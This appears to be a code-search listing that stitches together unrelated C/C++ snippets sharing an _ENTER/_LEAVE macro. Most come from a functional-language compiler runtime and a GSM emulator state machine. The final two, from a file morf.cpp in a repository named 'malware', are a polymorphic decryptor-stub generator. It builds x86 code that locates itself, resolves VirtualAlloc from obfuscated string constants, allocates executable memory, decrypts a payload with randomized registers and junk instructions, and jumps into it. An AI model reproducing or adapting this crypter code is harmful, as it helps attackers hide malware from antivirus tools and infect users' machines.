コード例 #1
0
ファイル: Force.c プロジェクト: GuySteele/ddc
// If this object is a suspended application, then force it.
Obj*	_force (Obj* obj)
{
	_DEBUG(_lintObjPtr (obj, _ddcHeapBase, _ddcHeapMax));
	_PROFILE_APPLY (forceCount++);

	_ENTER(1);
	_S(0)	= obj;

	// Keep forcing suspensions and following indirections
	//	until we get a real object.
	again:
	switch (_getObjTag (_S(0))) {
	 case _tagSusp:
	 	_S(0) = _forceStep (_S(0));
		goto again;

	 case _tagIndir:
		_S(0) = ((SuspIndir*)_S(0)) ->obj;
		goto again;
	}

	Obj*	tmp	= _S(0);
	_LEAVE(1);

	return	tmp;
}
コード例 #2
0
ファイル: Prim.c プロジェクト: GuySteele/ddc
// ------ Ref
Obj*	primRefUpdate	(Obj* ref_, Obj* x_)
{
	_DEBUG (assert (_getObjTag(ref_) == _tagBase));

	_ENTER(2);
	_S(0)	= ref_;
	_S(1)	= x_;

	// unboxing.
	DataM* refDataM;
	Data* refData;
	int objType = _objType(_S(0));
	switch (objType) {
	 case _ObjTypeDataM:
		refDataM = (DataM*) _force(_S(0));
		Obj***  payload	= (Obj***)refDataM ->payload;
		*payload[1]	= _S(1);
		break;
	 case _ObjTypeData:
		refData = (Data*) _force(_S(0));
		refData->a[0] = _S(1);
		break;
	 default:
		_PANIC("Updating Ref with unknown internal object type");
		break;
	}

	_LEAVE(2);
	return	_primUnit;
}
コード例 #3
0
void get_prev_state_machine( STATE *state )
{
    _ENTER();

    memcpy( state, &state_machine->prev_state, sizeof( STATE ) );

    _LEAVE();
}
コード例 #4
0
void get_current_state_machine( STATE *state )
{
    _ENTER();

    memcpy( state, &state_machine->current_state, sizeof( STATE ) );

    _LEAVE();
}
コード例 #5
0
ファイル: Suspend.c プロジェクト: GuySteele/ddc
Obj*	primSuspend1 (Obj* f, Obj* x)
{
	_ENTER(1);
	_S(0)		= x;
	
	SuspIndir* susp	= (SuspIndir*)_allocSusp (f, 1);
	susp->a[0]	= _S(0);
	
	_LEAVE(1);
	return (Obj*)susp;
}	
コード例 #6
0
void set_current_state( int state, int main_cmd, int sub_cmd)
{
    _ENTER();

	STATE st;
    STATE_TYPE(st) = state;
    STATE_MAIN_CMD(st) = main_cmd;
    STATE_SUB_CMD(st) = sub_cmd;
    //STATE_FUNCTION(st) = func;
    set_state_machine( st );
	    _LEAVE();
}
コード例 #7
0
ファイル: Force.c プロジェクト: GuySteele/ddc
// Do one step of the forcing.
//	This does a single application.
//
Obj*	_forceStep (Obj* susp_)
{
	_DEBUG	 (assert (_getObjTag(susp_) == _tagSusp));
	_ENTER(1);
	_S(0)	= susp_;

	// -----
	SuspIndir* susp	= (SuspIndir*)_S(0);

	Obj* obj	= 0;
	switch (susp->arity) {
		case 0: _PROFILE_APPLY (force[0]++);
			Obj* (*fun)()	= (Obj* (*)()) susp->obj;
			obj	= fun ();
			break;

		case 1:	_PROFILE_APPLY (force[1]++);
			obj	= _apply1 (susp->obj, susp->a[0]);
	 	 	break;

		case 2: _PROFILE_APPLY (force[2]++);
			obj	= _apply2 (susp->obj, susp->a[0], susp->a[1]);
	 		break;

		case 3: _PROFILE_APPLY (force[3]++);
			obj	= _apply3 (susp->obj, susp->a[0], susp->a[1], susp->a[2]);
			break;

		case 4: _PROFILE_APPLY (force[4]++);
			obj	= _apply4 (susp->obj, susp->a[0], susp->a[1], susp->a[2], susp->a[3]);
			break;

		default:
			_panicApply();
	}


	// Overwrite the suspension with an indirection to the result.
	SuspIndir* susp2	= (SuspIndir*)_S(0);
	susp2 ->tagFlags	= (_tagIndir << 8) | _ObjFixedSuspIndir;
	susp2 ->obj		= obj;


#if _DDC_DEBUG
	// Zap any remaining args for debugging purposes
	for (unsigned int i = 0; i < susp2 ->arity; i++)
		susp2 ->a[i]	= 0;
#endif

	_LEAVE(1);
	return obj;
}
コード例 #8
0
ファイル: Suspend.c プロジェクト: GuySteele/ddc
Obj*	primSuspend2 (Obj* f, Obj* x1, Obj* x2)
{
	_ENTER(2);
	_S(0)		= x1;
	_S(1)		= x2;
	
	SuspIndir* susp	= (SuspIndir*)_allocSusp (f, 2);
	susp ->a[0]	= _S(0);
	susp ->a[1]	= _S(1);
	
	_LEAVE(2);
	return (Obj*)susp;
}
コード例 #9
0
ファイル: morf.cpp プロジェクト: 0x37N0w4N/malware
int gen_call(cmem *b,GEN_CALL *gc,cmem *in){
	int l=0;
	gc->offset=b->size;
	int n_loc=(rnd()%20)*4+gc->loc*4+4;
	l+=_PUSH_R(b,_EBP);
	l+=_OP_RR(b,_MOV,_EBP,_ESP);
	l+=_OP_RC(b,_SUB,_ESP,n_loc);
	l+=in->size;
	add_block(b,in->data,in->size);
	l+=_LEAVE(b);
	l+=_RET_C(b,gc->narg*4);
	gc->len=l;
	return l;
}
コード例 #10
0
ファイル: Suspend.c プロジェクト: GuySteele/ddc
Obj*	primSuspend3 (Obj* f, Obj* x1, Obj* x2, Obj* x3)
{
	_ENTER(3);
	_S(0)		= x1;
	_S(1)		= x2;
	_S(2)		= x3;
	
	SuspIndir* susp	= (SuspIndir*)_allocSusp (f, 3);
	susp ->a[0]	= _S(0);
	susp ->a[1]	= _S(1);
	susp ->a[2]	= _S(2);
	
	_LEAVE(3);
	return (Obj*)susp;
}
コード例 #11
0
ファイル: Suspend.c プロジェクト: GuySteele/ddc
Obj*	primSuspend4 (Obj* f, Obj* x1, Obj* x2, Obj* x3, Obj* x4)
{
	_ENTER(4);
	_S(0)		= x1;
	_S(1)		= x2;
	_S(2)		= x3;
	_S(3)		= x4;
	
	SuspIndir* susp	= (SuspIndir*)_allocSusp (f, 4);
	susp ->a[0]	= _S(0);
	susp ->a[1]	= _S(1);
	susp ->a[2]	= _S(2);
	susp ->a[3]	= _S(3);
	
	_LEAVE(4);
	return (Obj*)susp;
}
コード例 #12
0
void send_msg( void)
{
	STATE state;

	_ENTER();

	get_current_state_machine( &state );
	log_msg(MSGL_VGSM_INFO," exe state_type %d, state main_cmd=%d sub_cmd =%d\n", state.state_type,state.main_cmd,state.sub_cmd);

	if( state.state_function )
	{
		log_msg(MSGL_VGSM_CALL,"state.function exe !! \n");

		state.state_function();
	}

	_LEAVE();
}
コード例 #13
0
void set_state_machine( STATE state )
{
    int type = STATE_TYPE(state_machine->current_state);

    _ENTER();

    memcpy( &state_machine->prev_state, &state_machine->current_state, sizeof( STATE ) );
    memcpy( &state_machine->current_state, &state, sizeof( STATE ) );

    if( ( STATE_TYPE(state) == STATE_NONE ) || ( STATE_TYPE(state) == STATE_ANY ) )
	STATE_TYPE(state_machine->current_state) = type;

#ifdef	_DEBUG
    print_state_machine();
#endif /* _DEBUG */

    _LEAVE();
}
コード例 #14
0
int find_next_state( STATE *next, int flag )
{
    STATE state;
    int ret = 0;

    _ENTER();

    get_current_state_machine( &state );
    ret = find_next_state_for_state( state, next, flag );

#ifdef	_DEBUG
    if( ret )
	print_state(*next);
#endif /* _DEBUG */

    _LEAVE();

    return ret;
}
コード例 #15
0
int change_state_machine( int main_cmd )
{
	_ENTER();

	switch( main_cmd ) {
	case GSM_CALL_CMD:  /* 0x02 : Call Control Commands */
	case GSM_SS_CMD:    /* 0x0C : Supplementary Service Control Command */
		state_machine = &state_machine_call;
		break;
	case GSM_SEC_CMD:   /* 0x05 : Security - SIM control Commands */
		state_machine = &state_machine_sim;
		break;

	case GSM_PWR_CMD:   /* 0x01 : Power Control Commands */
		break;
	case GSM_DATA_CMD:  /* 0x03 : Data Control Commands */
		break;
	case GSM_SMS_CMD:   /* 0x04 : Short Message Service Commands */
		break;
	case GSM_PB_CMD:    /* 0x06 : Phonebook Control Commands */
	case GSM_DISP_CMD:  /* 0x07 : Display Control Commands */
	case GSM_NET_CMD:   /* 0x08 : Network Commands */
	case GSM_SND_CMD:   /* 0x09 : Sound Control Commands */
	case GSM_MISC_CMD:  /* 0x0A : Miscellaneous Control Commands */
	case GSM_SVC_CMD:   /* 0x0B : Service Mode Control Commands - Factory Test or Debug Screen Control */
	case GSM_GPRS_CMD:  /* 0x0D : GPRS Commands */
	case GSM_SAT_CMD:   /* 0x0E : SIM Toolkit Commands */
	case GSM_CFG_CMD:   /* 0x0F : Configuration Commands */
	case GSM_GEN_CMD:   /* 0x80 : General Response Commands */
	default:
		break;
	}

	_LEAVE();

	return 1;
}
コード例 #16
0
ファイル: morf.cpp プロジェクト: 0x37N0w4N/malware
int build_decrypt(cmem *b,uint32 base,uint32 start,uint32 d_rva,int len_d,int size,uint32 key,cmem *list,uint32 e,uint8 type){
	const uint32 reg_tab[16][4]={{_ESI,_EDI,_EDX,_EBX},
							   {_EDI,_EDX,_EBX,_ESI},
							   {_EDX,_EBX,_ESI,_EDI},
							   {_EBX,_ESI,_EDI,_EDX},

							   {_EDI,_ESI,_EDX,_EBX},
							   {_ESI,_EDX,_EBX,_EDI},
							   {_EDX,_EBX,_EDI,_ESI},
							   {_EBX,_EDI,_ESI,_EDX},

							   {_ESI,_EDX,_EDI,_EBX},
							   {_EDX,_EDI,_EBX,_ESI},
							   {_EDI,_EBX,_ESI,_EDX},
							   {_EBX,_ESI,_EDX,_EDI},

							   {_ESI,_EDI,_EBX,_EDX},
							   {_EDI,_EBX,_EDX,_ESI},
							   {_EBX,_EDX,_ESI,_EDI},
							   {_EDX,_ESI,_EDI,_EBX}};
//#define L_NAME -0x100
	uint32 L_NAME=(4*5+(rnd()%20)*4);
	int n=list->size/sizeof(ITEM_API);
	ITEM_API *api=(ITEM_API *)list->data;
	int l=0;
	l+=_PUSH_R(b,_EBP);
	l+=_OP_RR(b,_MOV,_EBP,_ESP);
	l+=_OP_RC(b,_SUB,_ESP,L_NAME);
	l+=_PUSHAD(b);
	//get delta
	l+=_CALL_C(b,0);
	uint32 delta=l;
	l+=_POP_L(b,-L_NAME+4*4);
	l+=GEN_OP_RC(b,_MOV,_EAX,base+delta+start);
	l+=_OP_LR(b,_SUB,-L_NAME+4*4,_EAX);
	//---------
	if (n>1){
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*0,'NREK');
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*1,'23LE');
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*2,'LLD.');
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*3,'\0');
		l+=_LEA_RRA(b,_EAX,_EBP,-L_NAME+4*0);
		l+=_PUSH_R(b,_EAX);
		//---
		l+=GEN_OP_RC(b,_MOV,_EAX,base+api[0].rva_addr);
		l+=_OP_RL(b,_ADD,_EAX,-L_NAME+4*4);
		//---
		l+=_CALL_Ar(b,_EAX);//delta reloc

		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*0,'triV');
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*1,'Alau');
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*2,'coll');
		l+=GEN_OP_LC(b,_MOV,-L_NAME+4*3,'\0');
		l+=_LEA_RRA(b,_EBX,_EBP,-L_NAME+4*0);
		l+=_PUSH_R(b,_EBX);
		l+=_PUSH_R(b,_EAX);
		//---
		l+=GEN_OP_RC(b,_MOV,_EAX,base+api[1].rva_addr);
		l+=_OP_RL(b,_ADD,_EAX,-L_NAME+4*4);
		//---
		l+=_CALL_Ar(b,_EAX);
	}

	l+=_PUSH_C(b,PAGE_EXECUTE_READWRITE);
	l+=_PUSH_C(b,MEM_COMMIT);
	l+=_PUSH_C(b,len_d);
	l+=_PUSH_C(b,0);

	if (n>1){
		l+=_CALL_R(b,_EAX);
	}else{
		//---
		l+=GEN_OP_RC(b,_MOV,_EAX,base+api[0].rva_addr);
		l+=_OP_RL(b,_ADD,_EAX,-L_NAME+4*4);
		//---

		l+=_CALL_Ar(b,_EAX);
	}

	uint32 reg_ind=rnd()%16;
	//decryptor
	l+=GEN_OP_RC(b,_MOV,_ECX,size/4);
	l+=GEN_MOV_RR(b,reg_tab[reg_ind][1],_EAX);
	l+=GEN_OP_RC(b,_MOV,reg_tab[reg_ind][2],base+d_rva);
	//--
	l+=_OP_RL(b,_ADD,reg_tab[reg_ind][2],-L_NAME+4*4);
	//--
	l+=GEN_OP_RC(b,_MOV,reg_tab[reg_ind][0],key);
	int l1=0;
	l1+=GEN_TRASH(b,L_NAME-4*5);
	l1+=_OP_RAr(b,_MOV,reg_tab[reg_ind][3],reg_tab[reg_ind][2]);
	l1+=GEN_TRASH(b,L_NAME-4*5);
	switch(type){
	case _CIP_XOR:
		l1+=_OP_RR(b,_XOR,reg_tab[reg_ind][3],reg_tab[reg_ind][0]);
		break;
	case _CIP_SUB:
		l1+=_OP_RR(b,_ADD,reg_tab[reg_ind][3],reg_tab[reg_ind][0]);
		break;
	case _CIP_ADD:
		l1+=_OP_RR(b,_SUB,reg_tab[reg_ind][3],reg_tab[reg_ind][0]);
		break;
	}
	l1+=GEN_TRASH(b,L_NAME-4*5);
	l1+=_OP_ArR(b,_MOV,reg_tab[reg_ind][1],reg_tab[reg_ind][3]);
	l1+=GEN_TRASH(b,L_NAME-4*5);
	l1+=GEN_OP_RC(b,_ADD,reg_tab[reg_ind][1],4);
	l1+=GEN_OP_RC(b,_ADD,reg_tab[reg_ind][2],4);
	l+=l1;
	l+=_LOOP_A(b,-(l1+2));
	//===========

	l+=GEN_OP_RC(b,_ADD,_EAX,e);
	l+=GEN_MOV_RR(b,_EBX,_EAX);
	l+=GEN_OP_RC(b,_ADD,_EAX,5);

	l+=GEN_OP_RC(b,_MOV,_ECX,base);
	l+=_OP_RL(b,_ADD,_ECX,-L_NAME+4*4);
	l+=_CALL_R(b,_EBX);
	l+=_LEAVE(b);
	l+=_RET_C(b,0);
	return l;
}